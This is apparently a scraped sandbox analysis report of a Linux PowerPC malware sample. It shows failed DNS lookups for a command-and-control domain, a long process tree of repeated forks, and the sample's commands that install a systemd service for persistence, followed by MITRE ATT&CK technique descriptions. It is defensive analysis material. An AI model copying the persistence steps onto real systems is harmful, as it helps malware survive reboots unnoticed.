Jan 2, 2025 08:52:34.318653107 CET	1.1.1.1	192.168.2.13	0x5f3d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.326525927 CET	1.1.1.1	192.168.2.13	0x5f3d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.334460974 CET	1.1.1.1	192.168.2.13	0x5f3d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false
Jan 2, 2025 08:52:34.354475975 CET	1.1.1.1	192.168.2.13	0x5f3d	Name error (3)	tcpdown.su1@1\|	none	none	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: powerpc.elf PID: 5432, Parent PID: 5356

General

Start time (UTC):	07:51:47
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	/tmp/powerpc.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5436, Parent PID: 5432

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5438, Parent PID: 5436

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5616, Parent PID: 5438

General

Start time (UTC):	07:51:55
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5618, Parent PID: 5438

General

Start time (UTC):	07:51:55
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5627, Parent PID: 5438

General

Start time (UTC):	07:51:56
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5635, Parent PID: 5438

General

Start time (UTC):	07:51:58
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5637, Parent PID: 5438

General

Start time (UTC):	07:51:58
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5643, Parent PID: 5438

General

Start time (UTC):	07:51:58
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5663, Parent PID: 5438

General

Start time (UTC):	07:52:03
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5665, Parent PID: 5438

General

Start time (UTC):	07:52:03
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5721, Parent PID: 5438

General

Start time (UTC):	07:52:08
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5723, Parent PID: 5438

General

Start time (UTC):	07:52:08
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5731, Parent PID: 5438

General

Start time (UTC):	07:52:13
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5734, Parent PID: 5438

General

Start time (UTC):	07:52:13
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5742, Parent PID: 5438

General

Start time (UTC):	07:52:18
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5746, Parent PID: 5438

General

Start time (UTC):	07:52:18
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5775, Parent PID: 5438

General

Start time (UTC):	07:52:23
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5777, Parent PID: 5438

General

Start time (UTC):	07:52:23
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5786, Parent PID: 5438

General

Start time (UTC):	07:52:28
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5788, Parent PID: 5438

General

Start time (UTC):	07:52:28
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5796, Parent PID: 5438

General

Start time (UTC):	07:52:33
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5800, Parent PID: 5438

General

Start time (UTC):	07:52:33
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5811, Parent PID: 5438

General

Start time (UTC):	07:52:43
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5813, Parent PID: 5438

General

Start time (UTC):	07:52:43
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5824, Parent PID: 5438

General

Start time (UTC):	07:52:53
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5829, Parent PID: 5438

General

Start time (UTC):	07:52:53
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5838, Parent PID: 5438

General

Start time (UTC):	07:52:58
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5841, Parent PID: 5438

General

Start time (UTC):	07:52:58
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5852, Parent PID: 5438

General

Start time (UTC):	07:53:08
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5854, Parent PID: 5438

General

Start time (UTC):	07:53:08
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5860, Parent PID: 5438

General

Start time (UTC):	07:53:15
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5862, Parent PID: 5438

General

Start time (UTC):	07:53:15
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5874, Parent PID: 5438

General

Start time (UTC):	07:53:23
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5876, Parent PID: 5438

General

Start time (UTC):	07:53:23
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5884, Parent PID: 5438

General

Start time (UTC):	07:53:28
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5887, Parent PID: 5438

General

Start time (UTC):	07:53:28
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5889, Parent PID: 5438

General

Start time (UTC):	07:53:30
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5901, Parent PID: 5438

General

Start time (UTC):	07:53:38
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5903, Parent PID: 5438

General

Start time (UTC):	07:53:38
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5911, Parent PID: 5438

General

Start time (UTC):	07:53:45
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5915, Parent PID: 5438

General

Start time (UTC):	07:53:45
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5928, Parent PID: 5438

General

Start time (UTC):	07:53:53
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5935, Parent PID: 5438

General

Start time (UTC):	07:53:53
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5440, Parent PID: 5436

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5444, Parent PID: 5440

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: powerpc.elf PID: 5442, Parent PID: 5436

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: sh PID: 5442, Parent PID: 5436

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5446, Parent PID: 5442

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5446, Parent PID: 5442

General

Start time (UTC):	07:51:48
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: powerpc.elf PID: 5450, Parent PID: 5436

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/tmp/powerpc.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Chronological Activities

Analysis Process: sh PID: 5450, Parent PID: 5436

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5452, Parent PID: 5450

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 5452, Parent PID: 5450

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 5448, Parent PID: 5447

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5448, Parent PID: 5447

General

Start time (UTC):	07:51:49
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 5454, Parent PID: 5453

General

Start time (UTC):	07:51:50
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 5454, Parent PID: 5453

General

Start time (UTC):	07:51:50
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gnome-session-binary PID: 5474, Parent PID: 1588

General

Start time (UTC):	07:51:51
Start date (UTC):	02/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 5474, Parent PID: 1588

General

Start time (UTC):	07:51:51
Start date (UTC):	02/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-rfkill PID: 5474, Parent PID: 1588

General

Start time (UTC):	07:51:51
Start date (UTC):	02/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Chronological Activities

Analysis Process: systemd PID: 5479, Parent PID: 1

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 5479, Parent PID: 1

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Chronological Activities

Analysis Process: gdm3 PID: 5610, Parent PID: 1400

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5610, Parent PID: 1400

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 5613, Parent PID: 1400

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 5613, Parent PID: 1400

General

Start time (UTC):	07:51:52
Start date (UTC):	02/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemd PID: 5651, Parent PID: 1

General

Start time (UTC):	07:52:02
Start date (UTC):	02/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-user-runtime-dir PID: 5651, Parent PID: 1

General

Start time (UTC):	07:52:02
Start date (UTC):	02/01/2025
Path:	/lib/systemd/systemd-user-runtime-dir
Arguments:	/lib/systemd/systemd-user-runtime-dir stop 127
File size:	22672 bytes
MD5 hash:	d55f4b0847f88131dbcfb07435178e54

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report powerpc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.PZxM2X (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: powerpc.elf PID: 5432, Parent PID: 5356

General

Chronological Activities

Analysis Process: powerpc.elf PID: 5436, Parent PID: 5432

General

Chronological Activities

Analysis Process: powerpc.elf PID: 5438, Parent PID: 5436

General

Chronological Activities

Analysis Process: powerpc.elf PID: 5616, Parent PID: 5438

General

Chronological Activities

Analysis Process: powerpc.elf PID: 5618, Parent PID: 5438

General

Chronological Activities

Analysis Process: powerpc.elf PID: 5627, Parent PID: 5438

Linux Analysis Report
powerpc.elf